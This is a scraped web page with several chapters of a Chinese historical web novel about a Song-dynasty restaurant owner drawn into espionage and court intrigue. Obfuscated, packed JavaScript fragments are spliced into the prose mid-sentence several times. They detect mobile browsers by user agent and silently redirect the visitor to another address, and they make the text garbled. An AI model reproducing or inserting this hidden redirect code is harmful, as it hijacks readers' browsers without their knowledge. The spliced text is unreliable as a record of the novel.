d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985548|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出情绪。 “是啊,日子总要过。”春桃顺着她的话,声音却更轻,字字清晰,“可这样的日子,是掌柜的该过的么?以您的才情,您的本事,就甘心在这泥潭里,被他们糟践一辈子?” 厢房里一时安静,只听得楼下隐约的吆喝与碗碟碰撞声。盈玥沉默良久,终于抬眼:“我不喜欢拐弯抹角,你直说吧。” 春桃从随身的荷包里,小心取出一张折得方正的纸,缓缓展开,推到盈玥面前,“这个是我在市面上买到的西夏国主画像,您看是否认识此人?” 盈玥的目光落在画上,整个人倏然一僵。她盯着那画像,眼睫颤动了几下,嘴唇微张,却发不出声音。 春桃对盈玥的反应很满意,她将声音放得更柔和:“掌柜的,可还记得五年前,从人牙子手里救您出来的那位义士?” 她顿了顿,一字一句道,“那便是我们西夏国主,李元昊。” 盈玥猛地抬眼,瞳孔微缩,握着茶杯的手指骤然收紧,指节泛白。 “国主求贤若渴,最是敬重有能耐的女子。”春桃盯着她的眼睛,声音带着诱人的蛊惑,“他亲口许诺,只要您愿意相助,无论事成与否,他都愿迎您入兴庆府,册立为妃。” “妃……”盈玥喃喃重复,目光却仍黏在那画像上,像是挣扎,又像是恍惚。 半晌,她才极轻地吐出一口气,声音干涩:“可我终究是宋人。” “宋人?”春桃嗤笑一声,那笑意里带着毫不掩饰的讥诮,“宋人?你们大宋的官,有谁当你们是自己人?从上到下,哪个不是吸民脂民膏?苛捐杂税,层层盘剥,连您这样规规矩矩开酒楼的,都要被逼得走投无路。他们又何曾给过女子一条活路?出身不净,便是一生污点,连祠堂里的牌位都容不下!” “国主说了,大宋不给女子的路,他给。大宋不给的尊荣,他也给。” 盈玥闭上了眼,胸口微微起伏。油灯的光在她苍白的脸上跳动,映出眉宇间深深的挣扎。时间一点点流逝,楼下传来的市井声忽远忽近。 终于,她睁开眼,眼底那片激烈的动荡已经沉静下去,化作一片深不见底的幽潭。“需要我做什么?”她问,声音恢复了平静,却比之前更哑了几分。 春桃心头一喜,面上却不显,语气愈发恳切:“掌柜的什么都不必多做,还像往常一样经营丰乐楼,只当我是个普通杂役。只需在我需要时,偶尔行个方便,稍稍推波助澜即可。” “若将来出了事,我一力承担,必说我是偷偷潜入丰乐楼,所做之事与您并无干系。” 盈玥闻言,目光锐利地扫向她:“我可以答应。”她顿了顿,清晰地说,“但你也要答应我两件事。” “您说。”春桃一喜,立刻道。 “第一,我不喜欢被人蒙在鼓里。”盈玥的声音很轻,却带着不容置疑的力度,“往后需要我帮手时,须得将事情的来龙去脉、有何风险,都与我讲清楚。我得知道,我究竟在做什么。” “第二,我们做事的过程中,不能有任何关于我的证据留下来,不然,我怕是没命到兴庆府了。” 春桃在心中计较了一番,觉得能让她答应已是十分不易,万不能再最后关节出错,至于以后么……事情的来龙去脉她大可以编造一番,反正国主纳她为妃不也是扯出来的谎吗?不然西夏那边岂不是会知晓她身份暴露的事情。 念及此,她当即展颜,笑容真切:“这是自然!从今往后,您便是我们西夏的自己人了,哪有瞒着自己人的道理?” 盈玥没再说话,只微微颔首。她伸出手,将桌上那张李元昊的画像慢慢折起,动作很轻,指尖却稳得没有一丝颤抖。折好的画纸被她收进袖中,宛如收纳珍宝。 24.营销手段 孙小乙和春桃在丰乐楼安顿下来,将将半个月。上头大约是想让他们先站稳脚跟,并无新指令下达,两人便只暗自留心那些往来酒楼中有份量的官员。 而披香院里的日子,比盈玥预想的要平静。 她原以为,生母被移出祠堂的事传开后,府里下人的眼光会变得异样,难免有些踩低拜高的闲言碎语。可奇怪的是,洒扫的婆子依旧恭敬,跑腿的小丫头也没敢懈怠半分。 后来还是乐清从灶房听见闲话,回来学给她听——原来就在樊氏牌位被请走的第二天,倪大娘子在穿过花园时,亲耳听见两个浆洗上的婆子躲在假山后头嚼舌根。话说得极为难听,不仅将樊氏当年的事添油加醋,更把“六姑娘是歌妓生的,往后怕是难寻人家”之类的话挂在嘴上。 倪氏当即沉了脸,让身边得力的嬷嬷把那两个婆子带到跟前,命她们互相掌嘴,直打了二十多个巴掌,两张老脸肿得发亮,当日就撵出了杜府,打发到最苦最累的庄子上做活去了。 这事没出半个时辰就传遍了杜府各个角落。从此,再没人敢明着议论半句。 至于杜荣晦,因着那份不出口的愧疚,对盈玥比从前关心了许多。他特意将倪氏叫到书房,“盈玥那边,吃穿用度,都照如玥的份例来。她心里苦,别在日用上短了她。” 倪氏心领神会。于是,披香院份例里的吃食比往年足了些,茶叶换成了上好的雨前,连夏日裁衣的料子,也紧着时兴的花样先往盈玥房里送。 杜荣晦自己,偶尔得了些外头进上的新鲜果子或精巧玩意,也总记得让长随往披香院送一份。 盈玥对此,只是安然受着,但面上,她装却适时露出几分恰当的低落与感激。 眼瞧着端午一天天近了,这日下晌,盈玥把叶十九、庆喜同茜雪叫到房里说话。窗子半开着,能望见后院那架紫藤开始谢了,风里带着些微暖烘烘的气息。 “三日后,咱们丰乐楼办场诗会。”盈玥手里捏着柄素面团扇,有一下没一下地摇着,“庆喜,你去给东京城里那些叫得上名号的文人墨客发帖子,再去勋贵那边,挨家上门送帖,话说得客气些,请他们赏脸来凑个热闹。” 茜雪在旁听着,盈玥转头看她:“楼里那些没有太多装饰的墙面,这两日都让人仔细清扫出来,刷成白壁。我另有用处。” 庆喜和茜雪应了声,便下去张罗了。 屋里只剩叶十九。盈玥收了扇子,身子微微向前倾,唇角弯起一点似笑非笑的弧度:“十九啊,世子爷近来忙些什么呢?” 叶十九摸不透她心思,照实答:“将军在京中的事务已了结,五日后便动身回延州。” “啊?他要走啦”盈玥又问,语气随意得像在聊家常,“他这阵子清闲么?” 叶十九顿了顿:“并不清闲。听说吕相与范公两边,都暗中派人接触过将军。王爷那头又说世子年岁到了,该议亲了,王妃这些日子正忙着相看各家闺秀……” “这么忙啊。”盈玥轻轻重复了一句,像是自言自语。随即她抬眼,目光清亮地看向叶十九:“可我为他做了这许多,他临走前,总该报答我一点儿吧?” 说着,她凑近了些,声音压低,却带着不容商量的意味:“你去跟将军说,诗会那日,务必来咱们丰乐楼露个脸。只要他来了,凭他在东京城里的名声,还愁没有客人上门么?” 叶十九一听,连忙摇头:“姑娘,这怕是不妥。您与将军明面上不来往,才不易惹人疑心。若公然走动,万一被有心人瞧出端倪……” “啧。”盈玥轻轻咂了下嘴,站直身子,“正因一点不来往,才更可疑!你想想,如今丰乐楼在东京虽比不得潘楼那般根基,可也算风头正盛了。哪家的王孙公子、衙内官人,没来这儿吃过酒、会过友?偏偏宁王府世子,一次也不踏足,这合乎常理么?” 她目光锐利地看着叶十九,“越是避之不及,落在明眼人眼里,才越是有问题。” 她放缓了语气,又带上了那点狡黠的笑意:“再说了,我这丰乐楼经营得越红火,来往的客人越多越杂,于将军要做的事,岂不是越便宜?” 叶十九被她一番话说得怔住,细细想去,竟觉难以反驳,于是晚上便原话传给了沈昭行。 沈昭行闻言,指节在紫檀木的桌沿上极轻地叩了一下,随即,唇角便牵起一丝似有若无的笑意。 “吕相门下的那位保和殿学士,”沈昭行开口,声音不高,语速不疾不徐,“今日递了帖子,约我叙话。原是想推了的。” 他顿了顿,目光落在窗外一小片竹林上,像是在欣赏,又像是全然没入眼。片刻,才继续道:“现下么……江开,你去回话,让他挑个地方。日子,就定在三日后罢。” 江开垂首应“是”,心下已然明了。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987211|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位保和殿大学士,年方而立,是景祐二年的进士,向来以文采风流自诩,又好指点江山、提携后进。听闻丰乐楼将办端阳诗会,这等既能附庸风雅、又能广见闻人的场合,他岂会错过?必然是要将宴席设在那里的。 如此,便不是世子主动要去丰乐楼。而是同僚盛情相邀,他不过是从善如流,勉为其难罢了。 一举一动,皆在情理之中,任谁也挑不出错处。 而盈玥这头,早已将风声巧妙地放了出去。 不过三两日光景,东京城里消息灵通的几家茶坊酒肆间,便隐约流传开一桩新鲜谈资:宁王府那位鲜少在寻常宴饮场合露面的世子爷,端午前要在丰乐楼出席诗会了。 话传得活灵活现,连世子大概什么时辰到、预备停留多久,都说得有鼻子有眼。 这风声,自然也一丝不差地飘进了吕相与范公两边人马的耳朵里。双方幕僚心下都急转了几个念头——他们数次邀约沈昭行,都被不咸不淡地挡了回来,正愁寻不着合适的机会再递话头。眼下沈昭行要去丰乐楼,那里又要举办诗会,这岂不是天赐的“偶遇”良机? 几乎是同时,两派门下得力的官员、乃至与两边都有些牵扯的勋贵之家,都开始不动声色地遣人往丰乐楼去,口吻一致地要预留诗会当日最好的雅间或临窗静室。不过半日,楼里位置稍好的座头便被预定一空。 紧接着,“丰乐楼雅座已被当朝显贵们订满了”的消息,便像长了脚,更快地在文人圈子里窜开。起初,不少自恃清高的文士对这商贾酒楼主办的诗会颇有些不以为然,觉得无非是附庸风雅、沽名钓誉之所,心下并不打算凑趣。 可如今听得这般阵仗,心思便不由得活动起来。 有人捻须沉吟:“宁王世子驾临,吕、范二公门下亦多有到场,此等场合,与他们这种空有一身才华,却投保无门的人来说,岂不是顶好的机缘!若当日,能于一众贵人面前偶露才学,博得一两句赏识,或许便比苦读十年更有用处。” 也有人与友人私下议论:“纵不为攀附,去见识一番东京城如今的风向,也是好的。” 于是,那些原本矜持着未接帖子、或接了帖子尚在观望的文人墨客,态度都发生了极大的转变。 盈玥坐在账房里,听着庆喜和茜雪禀报这两日预约与回帖的盛况,手里慢条斯理地拨着算盘珠子,唇角噙着一丝了然的浅笑。 25.诗会 诗会这日,天公作美,日头亮晃晃的,却不算燥热。丰乐楼门前早早悬起了新巧的艾虎蒲剑,风里飘着淡淡的雄黄酒气。 不到巳时,楼前便已车水马龙。有乘着青幔小车的文人,也有骑马而来的行伍之人,更有不少闻风而来、想在楼外寻个间隙一睹盛况的寻常百姓,将门前半条街堵得水泄不通。 庆喜带着几个机灵的伙计在门口迎候,唱名声此起彼伏,多是些有头有脸的官职或雅号,引得人群里不时发出低低的惊叹。 楼内更是另一番景象。 从一楼到二楼的座位,除了提前预留的好位子,都座无虚席,小玉领着丫鬟们穿梭其间,奉上清茶细点。丝竹班子在二楼栏杆边奏着清雅的曲子,乐音流淌下来,混着低语谈笑,热闹却不嘈杂。 约莫午膳时分,丰乐楼门口的喧哗声浪里,忽然扎进来一阵不同寻常的骚动。 先是一位瞧着面生的官员,陪着位气度儒雅、颔下留着三缕清髯的中年人迈进门来。有眼尖的低低“咦”了一声,跟同伴咬耳朵:“瞧,那位不是吕相门下的红人,观文殿的周学士么?他竟也来了。” 话音还没落,门口光线微微一暗,又一行人走了进来。被簇拥在当中的是个三十来岁的男子,一身淡云灰色的杭绸直裰,腰间只悬了块无纹白玉,通身并无多余装饰,可那不怒自威的气场还是引得食客纷纷侧目。有人吸了口气:“是瞻阳伯!” 瞻阳伯面上淡淡的,没什么表情,只随着殷勤引路的小二往楼上走。他所过之处,人群不自觉地静了一瞬,等伯爷经过后,压低的议论便如潮水般从四面漫上来。 这就像推倒了第一张牌。紧接着,门口便络绎不绝起来。 身着紫色官袍、胸前补子绣着瑞兽的金紫光禄大夫被家仆搀着下了轿,头戴镂花鎏金冠、手持象牙笏板的翰林学士与同侪谈笑而入,穿着绿色常服、袖口却沾着点点墨迹的中书舍人、掌管礼乐祭祀、神情总带着几分肃穆的太常寺卿... 更有不少虽无实职却享有清誉的朝奉大夫,三三两两,结伴而至。 勋贵圈里更是热闹。这家伯爷,那家公侯,有的带着成年的子侄,有的则伴着珠围翠绕的家眷女眷。香风阵阵,环佩叮当,与官员们的袍服冠带交织在一起,将丰乐楼的大堂填得满满当当,几乎无立锥之地。 原先那些自命清高的文人,此刻多数已被挤到了角落或墙边,瞪着眼看着这平日难得一见的场面,心下又是激动,又有些惶然,今日这诗会,阵仗远比他们想的大得多。 小二们嗓子都快喊劈了,一个个躬身引路,额上冒汗。庆喜在楼梯口附近照应着,眼睛都不敢眨,生怕漏了哪位贵客。茜雪则带着几个稳妥的大丫鬟,专门招呼那些女眷,将她们引往楼上用屏风隔出的雅静区域。 整个丰乐楼,仿佛一个微缩的东京官场与名利场,各色人物在此汇聚,暗流涌动。 而所有人的目光,或明或暗,总忍不住瞥向楼梯口,瞥向那几间最安静的雅室——真正的主角,似乎还未登场。 忽然,门口那喧嚷的人声,骤然低落下去。 盈玥知道,沈昭行到了。 果然,门外传来高声唱和:“宁王世子爷沈将军到——” 他今天穿的异常低调,只套了件天青色云纹直裰,玉带松松一系,可通身那股子贵气,愣是压得满堂朝贵都失了颜色。 陪在他身边半步的,正是今日做东的保和殿大学士,一张脸笑得堆满了褶子,腰就没直起来过。 “世子爷……” “他真的也来了!” 低低的惊呼和议论像水波一样荡开。甭管是吕相那边的人,还是范公门下的,这会儿都收了声,眼神跟着那道天青色的身影移动,带着敬畏,也藏着掂量。 沈昭行步履从容,面上是惯见的浅笑,目光缓缓扫过满堂宾客,所及之处,皆不由自主地敛了神色,都纷纷起身颔首拱手。 他一路与人寒暄,语声不高,却字字清晰,应对间滴水不漏。 走至主座附近,他脚步微顿,似是不经意地抬眼,望向二楼东侧那扇垂着湘妃竹帘的雅间,帘后光影朦胧,一道纤细的身影隐约可见。 视线相接不过一霎,他几不可察地略一颔首,便自然地移开目光,仿佛只是寻常一瞥。 盈玥在帘后,指尖无意识地攥紧了帕子。她看得分明,那眼神,分明是巡视自己疆域似的笃定,带着一种洞悉一切后的从容。 诗会按部就班,酒过三巡,气氛愈发热络。茜雪朗声宣布即景赋诗开始,评判规则是众人推举出五首,另选一人做最终品评,话音一落,满堂目光,十之八九,皆似有若无地落在了主位那袭天青色身影上。 沈昭行徐徐起身,袍袖微动,向众人略一拱手,温声道:“承蒙诸位谦让。如此,沈某便却之不恭了。” 姿态谦和,却自有一股优雅的气度。连垂眸敛目的瞬间,那侧影的线条都显得清贵异常,引得席间几位年轻女眷悄悄红了耳根。 待众人诗成,共推选出五首佳作呈上。沈昭行一一览过,沉吟片刻,执起朱笔,在其中一幅笺纸上轻轻一圈。 茜雪会意,上前轻击玉磬。随后,她展开一卷花笺,朗声诵出被点为魁首的词句:“…送春春去几时回?临晚镜,伤流景,往事后期空记省。沙上并禽池上暝,云破月来花弄影。重重帘幕密遮灯,风不定,人初静,明日落红应满径。” “作诗之人为张三影先生。” 盈玥听到这个名字,心中一股自豪感油然而生,这匹千里马可是她这个伯乐发掘的! 哎?不对啊!万一别人私下里诽谤诗会有黑幕怎么办... 茜雪念毕后,盈玥收了收刚刚乱七八糟的心思,自帘后款步而出,立于二楼廊前,向四方盈盈施了一礼。 她今日穿了身水碧色绣银线缠枝莲的褙子,清爽不失庄重,面上用一层薄纱遮住,吊足了众人胃口。 “蒙诸位高贤不弃,赐下如此珠玉诗作。”她声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“自然,”盈玥适时开口,声音温婉如初,“凡愿参与此项的文人,需与我丰乐楼签下一纸协议。协议言明,阁下既参与我丰乐楼的题诗,自此便与我楼有了这‘风雅之约’。东京城内其他酒楼的题诗,便不好再一同参与了。” 她微微含笑,目光清澈,“毕竟,我楼既为诸君扬名谋利,也求一个堂堂正正的独家之谊,方显公平。” 她说完,静静立着,任由楼下声浪翻涌。 在丰乐楼之前,并无任何商贾之流举办诗会,这“独家协议”更是闻所未闻,并未触及任何人现有利益。 相反,眼前却是看得见的名利双收之路! 不过片刻迟疑,几位方才已得满堂彩的文人便率先应声:“岳掌柜思虑周详,合情合理,吾等愿签此约!” 有人带头,其余人便都一起附和。许多尚未题诗或自觉诗才稍逊的文人,更是急急想着通过这个渠道搏个前程。 签下一纸看似无伤大雅的协议,便能换来如此机遇,何乐不为? 沈昭行自始至终端坐主位,手中那只越窑青瓷酒盏缓缓转动,脸上神色不明。 盈玥说完准备下场,转身时无意看向他的方位。 视线交汇时,他举杯,向着她的身影,极其含蓄地略一示意,随后将杯中清酒徐徐饮尽。杯沿遮掩下,无人得见他唇角那一瞬扬起的弧度。 26.一起拉下水 “好一个岳掌柜!”郑元达连连赞叹,“我若娶亲,便该娶这种女子!” 与他形影不离的徐渭倒是说道张三影的词,“世子爷的眼光极佳,这篇词确属一流。他能从今日众多佳作中挑选出这首作为第一,想来他本人的文采也当是不差的。” 郑元达一副“你不懂了吧”的样子,“你前年刚和你父亲调回京,有所不知,这位世子爷的文采可是出了名的好,两年前那场春闱,化名‘沈砚’摘了状元,后来身份发现又遭革名的,便是这位,那一年,他才17岁。” “从前众人只知他的才华出众,直到他投边关军,人人皆说是宗室骄子心血来潮,可短短一年间,与我朝从未有败绩的西夏,在他手里接连损兵折将… “ “如今官家朝堂之事皆仰赖吕相和参知政事范公督办,这两位为了新政事宜分党而立,如今两党都在拉拢世子爷这位当朝新贵。” “你以为这今日赴会的大臣真是为了诗会来的?” 郑元达朝二楼的方向努努嘴,“那主位上的人,才是他们的目的。” 徐渭顺着他的目光望向楼上。雅间垂帘纹丝不动,楼下喧嚣至此,那帘后却静得像口深潭。满堂朱紫,竟无一人敢贸然上前惊扰。 他忽然觉得背脊微凉。 这不像赴会,倒像坐镇。 这一日盘账,算盘珠子噼啪响到最后,总数竟抵得上平日一月的进项。盈玥捧着账本,指尖划过那墨迹未干的数字,眉眼弯弯,嘴角的笑意压都压不住。 正兀自欢喜,一抬头,却见叶十九不知何时已静立在书案前,面色有些欲言又止。盈玥心头那点雀跃顿时凉了半截,小脸一苦,嘟囔道:“十九,你能不能行行好,别专拣我高兴的时候来煞风景……” 叶十九脸上也堆起无奈:“姑娘,现在不说,怕真要误事了。”他上前半步,声音压得极低,“世子爷传话,请您明日申时,往潘楼旁边的十千脚店一见。” “您从密道走。进去后,遇到岔路,不论几回,只选左边走。尽头出去,便是十千脚店的后院。” “岔路?”盈玥愕然,眼睛都睁圆了,“你们那密道还修了岔路口?” 她捏着账本,笑着调侃,“你们世子爷是属兔子的不成?‘狡兔三窟’也没这般曲折吧?” 是夜,东京城内一处不显山露水的宅院,正堂只点了一盏青瓷灯。 保和殿大学士纪琨垂手立在堂中,首位上坐着的人,只穿了件半旧的灰色直裰,中等身材,乍看寻常。可那双细长的眼睛在昏黄光线下异常明亮,浓眉压着,即便不言语,也自有股沉沉的威势透出来——正是当朝宰相吕夷简。 纪琨的声音在静夜里格外清晰,又带着点不易察觉的焦灼:“……下官几次想探口风,话头刚起,世子爷便不露痕迹地引开了。或是论诗,或是说边关风物,滑不沾手。一番应对滴水不漏,竟让下官无从下嘴。” “急什么。”他开口,声音不高,平平板板,听不出情绪,“他不是要回延州了么?西夏人近来可不太安分。” 他顿了顿,嘴角似乎有丝极淡的纹路,“大战需请旨,可边境上的摩擦,什么时候断过?且看他这一回去,还能不能像从前那般,无一败绩。” 他缓缓抬起眼,目光落在纪琨脸上,那里面没什么温度:“总要看得清楚些,才好下注。” 言罢,又像是自言自语,低声喃喃道:“若终究不能为我们所用,那也断不能让他,落到‘新政’那头去。” 堂内静了片刻,只听见灯花极轻的“哔剥”一声。 吕夷简将手中茶盏搁下,盏底碰着紫檀桌面,发出不轻不重的一记闷响。他目光没看纪琨,只望着那跳跃的灯焰,声音平淡地传来:“去细查查,丰乐楼那个掌柜,什么来历。和沈昭行又有什么牵扯。” 纪琨闻言,眉头微不可察地蹙了一下,腰背却躬得更低些,小心回道:“大相公明鉴,今日这丰乐楼,原是下官选的地方,并非世子爷指定。” “他不跟你谈正事,那他答应和你见面做什么”吕夷简忽地截断他的话,眼皮一抬,那细长眼眸里精光微闪,直刺过来,“说你不定他是借你的口,好光明正大去那里。” 纪琨解释道:“世子爷说,是咱们的人三番五次相邀,他再拒绝,倒显得他做小辈的无礼,故而才答应下官的邀约的…” 他摆了摆手,止住纪琨的解释:“我知道你的意思,只是谨慎些,总没坏处。” 纪琨心下一凛,知道这事已不容再辩,只是觉得吕相这多疑的性子,着实让他应对之间着实力不从心,暗叹一口气后,纪琨便起身,深深一揖:“下官遵命,这就去办。” 翌日,盈玥依约掀开丰乐楼厢房内那张雕花拔步床的底板,十九在露出的石头上摸了几下,便露出一道仅容一人通过的幽深石阶。她在全然漆黑的密道中摸索前行,石壁沁着阴冷的潮气,唯有自己的呼吸和脚步声在狭窄空间里回响。走了约莫两刻钟,前方才隐隐透出光亮。 从假山石的隐蔽出口钻出,骤然置身于一处精巧的后院。天光正好,盈玥眯了眯眼,待视线清晰,便见院子中央的石桌上已布好几碟清淡雅致的时令小菜,碗筷俱全。 沈昭行正坐在石凳上,听见动静,只随意指了指对面的位置:“坐。” 盈玥依言坐下,目光扫过桌面,落在那碗冒着丝丝热气的豆浆上,不由莞尔:“还以为世子爷会备酒。” “你稍后要回府,不宜饮酒。”沈昭行这才抬眼看她,语气平常,却带着不容商榷的意味。顿了顿,又补了一句“便是不回,也不要喝。” 他的目光并不锐利,却有种沉静的重量,让那句补充的话听起来不像嘱咐,倒像某种宣告。 盈玥笑了笑,不去深究那目光里的意味,转而问道:“您今日叫我来,可是有事吩咐?” 沈昭行没有立刻回答,执起青瓷碗,为她盛了一小碗豆浆,推至面前,然后开口:“你母亲的事,是我对不住你。” 盈玥没料到他会径直提起这个,一时错愕,随即垂下眼睫,掩饰眸中翻涌的情绪,再抬眼时已换上浅淡笑意:“那世子爷打算如何弥补?” “无论事成与否,”沈昭行看着她,一字一句,清晰缓慢,“我都会让你母亲青史留名。她的牌位,将来会供奉在大相国寺正殿,受万民香火,享千秋祭祀。” 彼时,盈玥想不到,沈昭行的承诺,有一日真的会实现,只是实现的方式,远非今日可以预料。 盈玥怔住,半晌,轻轻吐出一口气,低声道:“世子爷无需如此。我们母女,并不在意这些虚名。” “岳掌柜应当知道,”沈昭行打断她,“我做事,从不看对方是否愿意。” 这话让盈玥瞬间想起被他 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他缓缓道,“岳掌柜可以放心。我身边功夫好的人不少。在朝堂上也算有些虚名,即便你真有失手被擒的一日,从牢里换个死囚顶替,也非难事。” 他的声音依旧温和,带着一种掌控全局的从容,“只要你的罪名,没到需要出动大军、就地格杀的地步,你的性命,我还是能护得住的。” 说到这里,盈玥终究没压住心底那点好奇,抬眼望向他:“世子爷文武俱佳,家世更是显赫。我朝历来重文抑武,您为何偏偏选了边关投军这条路?” 沈昭行执杯的手微微一顿,“若是人人都选那条好走的路,这世道,岂非太过无趣?” 盈玥点头,指尖无意识地摩挲着温热的杯壁:“也是。只是这项国策……” 她顿了顿,声音低了些,“当真害人不浅。得是多没底气,才生怕武官掌了兵权;倒是面对西夏、大辽时,自信得很,觉得不修武备也能偏安一隅。” 她的嗓音轻轻软软,“怎么敌国就没出个这般‘明君’,也定个重文抑武的规矩?改变不了自己家,那就把别人家一起拉下水嘛。” “只可惜,”她抬眼,叹了口气,“人家又不傻。我朝因此势弱,人家自然将这‘良策’弃如敝履。” 沈昭行静静听着,面上波澜不惊,直到她话音落下,眼中才倏地掠过一道锐利的光。 随即,他低低笑了声,“那就换个说法。重不重文,不要紧。只要‘重’的这个东西,能抑武即可。” 盈玥心头一跳,“那……该‘重’什么?” 沈昭行不答,反将问题抛了回来,语调慢悠悠的,“依岳掌柜看,这世上有什么东西,能让人忘了征战,收了杀心,只一心向往太平?” 四目相对,空气里有什么悄然绷紧。盈玥眼波微动,忽然弯了眉眼,那笑意里带点狡黠,“我知道了,不若……我们各蘸了这茶水,在桌上写一个字。瞧瞧想的,是不是一处?” 沈昭行深深看她一眼,没说话,只将修长的手指浸入杯中,指尖沾了清水。盈玥亦如是。 石桌桌面光洁,水痕划过,发出极细微的湿润声响。两人同时收手。 目光落下。 盈玥的指尖前,是一个清瘦却端正的“佛”字。 而沈昭行那边,水迹淋漓,赫然也是同一个——佛。 盈玥突然有点舍不得他走了。 27.酒行的联手封锁 永华楼后堂,算盘珠子声骤停。 白掌柜捏着伙计刚送来的账本,指尖发白,额角青筋突突直跳。这两日的收入近乎拦腰斩断。底下人战战兢兢回话,说是有好多位常年在永华楼用膳的清流老爷,因着品诗鉴赏的缘故,这几日都转去了丰乐楼,连口信都没留一个。 “好,好得很!”白掌柜将单子拍在桌上,声音不大,却冷得渗人,“一个不知从哪里冒出来的女子,弄些哗众取宠的把戏,就敢撬我永华楼的根基!什么玩意儿!” 正暴怒时,心腹伙计引了个人进来,来人穿着体面,笑容殷勤,递上一张帖子:“白掌柜安好,小的是潘楼潘大掌柜跟前跑腿的,我们大掌柜请您过府一叙,有要事相商。” 白掌柜眼皮都没抬,只盯着那帖子上潘楼特有的鎏金纹样,心里那点怒气忽地就转成了一声无声的冷嗤。 之前丰乐楼开张,潘掌柜虽瞧不上一个刚开张的酒楼,但因着自己的大厨跳去了丰乐楼,那日倒也去给了丰乐楼下马威。 谁承想竟被那岳掌柜三言两语说动,后面稳坐钓鱼台,乐得看他永华楼和丰乐楼斗,自己一概不插手。 如今火烧到他自己眉毛,终于坐不住了?早干嘛去了? “回去禀告潘大掌柜,”白掌柜接过帖子,语气平淡无波,“白某稍后便到。” 而丰乐楼这边,动作也没闲下来,诗会结束后,丰乐楼在东京独占鳌头,生意愈发红火,门庭若市,竟隐隐有了与潘楼分庭抗礼的声势。盈玥瞧着这局面,索性将楼内人事梳理得更加分明: 孙小乙总领跑堂;春桃专管一应杂役琐事;庆喜坐镇前堂,统管全局;茜雪灵活,做事又靠谱,因此采买事宜都尽付于她;而后厨则由董承掌总,孙大海为副。 叶十九则被提为二掌柜,凡盈玥不便出面之时,楼中大小事务皆由他决断。 这日午后,二楼临河的厢房内,盈玥倚在窗边,一手里捧着新核的账册,一手端着一杯凉茶,阳光暖融融地洒在纸页上,那数字瞧着便格外喜人。她唇角忍不住往上翘,眼里漾开亮晶晶的笑意,像只囤足了过冬粮的小老鼠。 突然,孙小乙敲门进来了,他疾步走到盈玥身前,低声说:“我觉得春桃有问题。” “咳咳咳!”盈玥强忍住才没把刚喝进嘴里的茶喷出来。 第二日,春桃也来了,“掌柜的,我觉得孙小乙不正常!” 孙小乙说:“诗会那天,春桃一直在达官贵人那里侍候,一楼的客人闹翻了天也一概不管。” 春桃说:“诗会那天,孙小乙站在二楼重要官眷那里,脚像生了根似的,庆喜哥哥让他去招呼别的客人,他都不去。” 好嘛!这是两个人撞在一起了。 孙小乙又说:“所以我留心打听了一下,春桃根本就没哥哥!您要把我们辞了的那天,闹着发卖她的那个男人,是她花钱雇的!” 春桃又说:“所以我仔细回忆了下,怎么刚好‘雪浸春’的材料被水损坏,刚好发生在我们要离店的那日,他又那么巧刚好懂特殊的晾晒法子,分明是设计留下来的!” 盈玥:“…” 盈玥只觉额角隐隐发胀,心里那点做“甩手掌柜”的闲适早飞得无影无踪。 这两个人,一个赛一个的“机灵”,互相咬得死紧,偏偏咬出的还都是实打实的疑点。面上,她却一丝波澜也未起,只轻轻揉了揉眉心,露出些许恰到好处的,被琐事困扰的疲惫。 心里飞快地转了几个弯,一套说辞已然成型。她跟孙小乙说,语气里带着几分推心置腹的无奈:“小乙,你心思细,瞧出些端倪这很好。只是这里头,有些内情你不知道。春桃那个哥哥,确实是假的,是我派人雇来的。” 她压低了声音,仿佛透露什么秘密,“原本要招的那十三个人里,有一个,是十九掌柜早先打过招呼的亲戚。十九面冷,心却软,想照应一下,又怕开了这个头,往后人人都来求情,坏了规矩。所以明面上说是招了伙计统一考核,实则,那人早是内定了的。” 她观察着孙小乙的神色,见他面露恍然,才继续道:“但丰乐楼毕竟是我的心血,我也不想随便安排人进来,所以那些时日,我也留心观察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027347|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,结果发现,那十九的亲戚,偷奸耍滑,不堪重用,倒是春桃,做事情卖力,什么脏活累活都抢着做。“ 这倒是实话,毕竟春桃是暗探,有任务在身,为了留下来,自然表现得更卖力。 “我便有些想让春桃留下来,所以让人去打听了春桃的家世,结果发现她父亲早逝,母亲前两年也病故了,着实可怜,所以便打定了主意,将她留用,只是这样,难免直接驳了十九的面子,所以才和春桃演了这出戏,明白了吗?” 这番话说得合情合理,孙小乙恍然大悟,当下便不疑有他。 盈玥又用几乎相同的框架,单独安抚了春桃,只是将“身世可怜”的主角换成了孙小乙。 